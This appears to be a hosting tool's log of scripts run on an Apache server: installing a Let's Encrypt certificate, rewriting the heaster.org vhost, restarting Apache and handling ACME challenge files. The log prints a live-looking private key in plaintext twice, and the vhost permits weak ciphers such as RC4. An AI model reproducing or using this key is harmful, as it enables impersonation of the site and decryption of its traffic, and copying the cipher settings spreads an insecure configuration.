Df4GsUbG4Lvu5dzQMKnJ767nkAsIsp6Rvjsw/U3DYdPHTplwYI2GZ/uFlo6ill0G
0IEF1cb+XllpnoyGzginZNhsIXAptF06hGYJVEDv5OStyaPcJe04R555HQKBgQCd
OjNwhYxa6Wj+ZTfYRQXciFm36lJH1xS22CLav4KKYZ4s1CahlRq6MvWDopmzsurj
4dcRu7LZZs8unqn2X+yiG48ixlk4E+hOy5ClTvHwjF2wNxkjG9/VguoN3lVuWz3Z
tzar3nxQIr0ZMOmqSw/FqWzhKqSQG2p49jiKKYKSOQKBgQDCrPMiMvHHhnwFyiIc
C/++VHc7ZMzJn344WcIKXXITlUzh22+nICVHHHRrK9ISPdy5LQDBDW50L6Opn9C6
n7fDow1gFbuyclbPSUsbMYsTeTaQi4Gqw4TMtr9ZtYwAiNN1AdwZncu22rnm3vBT
IT7TBzVYecPR8miXiPP3LhdjOQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:00:21: 

chmod 755 /tmp/pkp874666; /tmp/pkp874666; rm /tmp/pkp874666

2025-10-24 06:00:21: 


dir=/etc/ssl/certs


2025-10-24 06:00:21: 

PUT: /tmp/pkp925883

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:00:21: 

chmod 755 /tmp/pkp925883; /tmp/pkp925883; rm /tmp/pkp925883

2025-10-24 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:00:21: 

PUT: /tmp/pkp253999

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi


2025-10-24 06:00:21: 

chmod 755 /tmp/pkp253999; /tmp/pkp253999; rm /tmp/pkp253999

2025-10-24 06:00:21: 




2025-10-24 06:00:21: 

PUT: /tmp/pkp193788

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:00:21: 

chmod 755 /tmp/pkp193788; /tmp/pkp193788; rm /tmp/pkp193788

2025-10-24 06:00:21: 


.


2025-10-24 06:00:21: Establishing a connection
2025-10-24 06:00:21: 

PUT: /tmp/pkp369821

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:00:21: 

chmod 755 /tmp/pkp369821; /tmp/pkp369821; rm /tmp/pkp369821

2025-10-24 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-24 06:00:21: 

PUT: /tmp/pkp776131

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:21: 

chmod 755 /tmp/pkp776131; /tmp/pkp776131; rm /tmp/pkp776131

2025-10-24 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:00:22: 

PUT: /tmp/pkp686897

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:00:22: 

chmod 755 /tmp/pkp686897; /tmp/pkp686897; rm /tmp/pkp686897

2025-10-24 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	5365
2e:39:18:ed:3d:28:dd:3e:a0:e3:85:b5:3f:6e:4e:54

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBaK2vAnSQ0sQ/vfxktNOV4R2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMTQ5WhcNMjYwMTIyMDUwMTQ4WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANIP
99y6YtSnN/cy9oKAPC25VOg1ct5ffADUQHk2HgMTsYCDEyybCwh2k/FBeAuL7+08
CnB3apQQdP9OkrgbrzIndAbi+yHlsc0rcJydwVbMWBhA/h1gpWMRhxyavP1qH3no
FGkQszVa1cRZiWY95wY0G8iMeSlflFnkIBAh8rLkVhaJGZ0vDZZcIABLIjN3Iwlp
xBbToCzYhus+lXcdOtEK4MenTQoGb9pr3rDv7CuZP8eojlDWfJZ+6w0a7GzNFG9I
TLPbZZs/sXNtcOMYvjUFpQN5ejThluvHB90LRuF+XJmujf/REVSG/lYkwCxd0O0x
TfpuaYQ1m20JQii4byMCAwEAAaOCAi0wggIpMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUY3dr1byUVgPhP1D3AyhJ2AgJWoYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTE5LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmhTNwGcA
AAQDAEcwRQIhALfK00TaHH0u8KcuP5pNYuA7DOS1QN/RBvtcOnM5yqnzAiAayPqM
G9mt6x8JPsO6cS970dZkLogJPqDhu3zGxdQqHgB2AA5XlLzzrqk+MxssmQez95Df
m8I9cTIl3SGpJaxhxU4hAAABmhTNwFYAAAQDAEcwRQIhAK9HjnKY1r+CFPdbkqzw
C8wpP1QAv+ODJ3lv2mfiHY6gAiAuss1V/PSuv3Yqp0zfoHRoRbTBottfCGOHXwAy
aFL54DANBgkqhkiG9w0BAQsFAAOCAQEAjkGRdpdyJIGS99oo/THG+8lFDJhq47Ua
k0Q1tyGAfoOkR1w6wXIAMVqYmnalTMDAaBOhPQtl9j8FEkPa494u94Jj7vt685z3
tqCLPhbW37pbz/LvgY9TaHH5y+ef2z7EhzndBfQWcYQT6gVV8TT21N/gMdY3z974
hENme/46Caeeb7wccBgeF/bf0sYkqRlKrRhC0oXnstQVY5vUQbwRsG0fBmHXCY8E
cx/vF918m/FU2LpwKK8VAqO6d1wXVDXuQz4sJ9+Mmvny4S9FBkfZWORSTL/YO5fJ
xaMoMEPHE9IoxfrpOy/LMlcE+RYkaQWehH8H046ptH+el3Ik1prO1g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDSD/fcumLUpzf3
MvaCgDwtuVToNXLeX3wA1EB5Nh4DE7GAgxMsmwsIdpPxQXgLi+/tPApwd2qUEHT/
TpK4G68yJ3QG4vsh5bHNK3CcncFWzFgYQP4dYKVjEYccmrz9ah956BRpELM1WtXE
WYlmPecGNBvIjHkpX5RZ5CAQIfKy5FYWiRmdLw2WXCAASyIzdyMJacQW06As2Ibr
PpV3HTrRCuDHp00KBm/aa96w7+wrmT/HqI5Q1nyWfusNGuxszRRvSEyz22WbP7Fz
bXDjGL41BaUDeXo04ZbrxwfdC0bhflyZro3/0RFUhv5WJMAsXdDtMU36bmmENZtt
CUIouG8jAgMBAAECggEBAIPJeNuGI9L+ReJUmsss4JRfHaHBRpu0k/uBLiHdjd6o
UEgr86+cZcOdgRtu032LAa94Z6Q/hyH1YTF7fhj7ZWK11dksNhoCHRZ3FmNrpYxr
DynIPKT5qUkKChYsDj1+gtjcfVGdJJFot4xEECuQ0ovVzUh4uNr4F/59XJBCfB02
eEoSbKKKdYM8IX7Rn0Q42tFAhM71vz2HOinwmq4CO0E431qboBcZsIMGatp863Za
XOHk1MkKWQKfjIZwNGElGIQfO34eZaiPDZBEX7AKGTPioxNpzJpzsSlzI/QcxEP8
RxGezx471UWPCLNF5/frsogbd9sNhiyxZUMHgcq0n8ECgYEA9XfJlJ5RHH/UKJ7N
Ji4XBbHWYrxPxKgNUroRlkMItqXPh2eXqgwFZ4Jk+/pX4IqN/5prb9AiMFFGO+w3
Vg5D2XD61h2IPdNOFdDNvsD2WslO+QbbHfKwxlPPgiVd4BGyeXHPpSsIOsVvtOWP
Dr74dR2gQFU//dca0cVNn8OWSWsCgYEA2xNJjUhxQV8k8F02xIVWW5eC57hXfNvY
x3Lu2sz9+CFxfURMVrDWORqK8iYYfnii7YPSwest30EojQVdQaIxtBMZlpT32sGD
ifTyutj6Dyd/1lAR/rA4Q4x1dXvmiBruj6lwxjtANilAfabJecDBau3wPbJMOXQf
1M9gjRZeRykCgYBdFx6VhCzSmA/Hj+HRNu14NWdObof51pmm4/XDfIyTZ/J6MWkt
Df4GsUbG4Lvu5dzQMKnJ767nkAsIsp6Rvjsw/U3DYdPHTplwYI2GZ/uFlo6ill0G
0IEF1cb+XllpnoyGzginZNhsIXAptF06hGYJVEDv5OStyaPcJe04R555HQKBgQCd
OjNwhYxa6Wj+ZTfYRQXciFm36lJH1xS22CLav4KKYZ4s1CahlRq6MvWDopmzsurj
4dcRu7LZZs8unqn2X+yiG48ixlk4E+hOy5ClTvHwjF2wNxkjG9/VguoN3lVuWz3Z
tzar3nxQIr0ZMOmqSw/FqWzhKqSQG2p49jiKKYKSOQKBgQDCrPMiMvHHhnwFyiIc
C/++VHc7ZMzJn344WcIKXXITlUzh22+nICVHHHRrK9ISPdy5LQDBDW50L6Opn9C6
n7fDow1gFbuyclbPSUsbMYsTeTaQi4Gqw4TMtr9ZtYwAiNN1AdwZncu22rnm3vBT
IT7TBzVYecPR8miXiPP3LhdjOQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-24 06:00:22: Establishing a connection
2025-10-24 06:00:22: Establishing a connection
2025-10-24 06:00:22: 

PUT: /tmp/pkp752069

#!/bin/bash
if [ -d "/var/www/baptizo_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:00:23: 

chmod 755 /tmp/pkp752069; /tmp/pkp752069; rm /tmp/pkp752069

2025-10-24 06:00:23: 


1


2025-10-24 06:00:23: Establishing a connection
2025-10-24 06:00:23: 

PUT: /tmp/pkp497183

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
cat > fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc
cat > q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk


2025-10-24 06:00:23: 

chmod 755 /tmp/pkp497183; /tmp/pkp497183; rm /tmp/pkp497183

2025-10-24 06:00:23: 




2025-10-24 06:00:34: Establishing a connection
2025-10-24 06:00:34: 

PUT: /tmp/pkp334900

#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc
rm q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk


2025-10-24 06:00:34: 

chmod 755 /tmp/pkp334900; /tmp/pkp334900; rm /tmp/pkp334900

2025-10-24 06:00:34: 




2025-10-24 06:00:34: Establishing a connection
2025-10-24 06:00:34: 

PUT: /tmp/pkp394021

#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt

